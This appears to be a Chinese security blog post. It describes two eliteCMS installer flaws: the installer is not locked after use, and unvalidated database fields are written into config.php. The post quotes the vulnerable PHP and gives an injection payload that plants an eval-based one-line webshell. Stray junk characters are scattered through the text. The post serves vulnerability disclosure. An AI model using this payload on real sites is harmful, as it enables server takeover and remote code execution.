eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
9 a: O  ?5 o( m- y* L) u3 m3 x9 v: m
% X4 x3 H' L8 k4 C( ?6 H% R另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

: f, H5 e3 {% s7 z! u$ x...
elseif ($_GET['step'] == "4") {
0 o( M" w- u2 Y; Z& Z    $file = "../admin/includes/config.php";
    $write = "<?php\n";
8 f! ?5 M8 r4 v2 o    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
    $write .= "*/\n";
' n4 N+ R( q2 `' \4 {    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
% t  R% i. l- S) V$ o3 `, S" W% H    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
* s2 F$ s9 n! n, T9 b" Q( k! ~, _. I) S    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
6 L7 X! ~. g' `9 k; `$ V    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
  S2 ], I: Y& g- }0 E6 Q( G6 _    $write .= "} \n";
/ m1 e: X+ V6 |, o, c    $write .= "?>\n";
+ x- y7 o7 ?4 f6 M! M( ^1 }; M
    $writer = fopen($file, 'w');
...
9 ^1 R  Y; Y) K2 ~1 _
% C& H5 ]7 \" D在看代码：
* _! g+ ?( I8 ~: l( W; K- u
  H0 r1 ?: W. F8 K$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
& ?5 x3 n( Z6 j: t$ X/ ]8 ~/ A$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
+ B5 {2 ^  {% N% g" }& G7 ^3 H$_SESSION['DB_USER'] = $_POST['DB_USER'];
0 I. F0 ?; l0 {9 [0 \4 I4 k' L$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

! E6 S  e6 {4 j/ p2 @; u. `- c取值未作任何验证
如果将数据库名POST数据：

# ]6 T3 {* g' O" z4 C"?><?php eval($_POST[c]);?><?php

6 D3 k1 w% ?( D9 r% I4 c8 a将导致一句话后门写入/admin/includes/config.php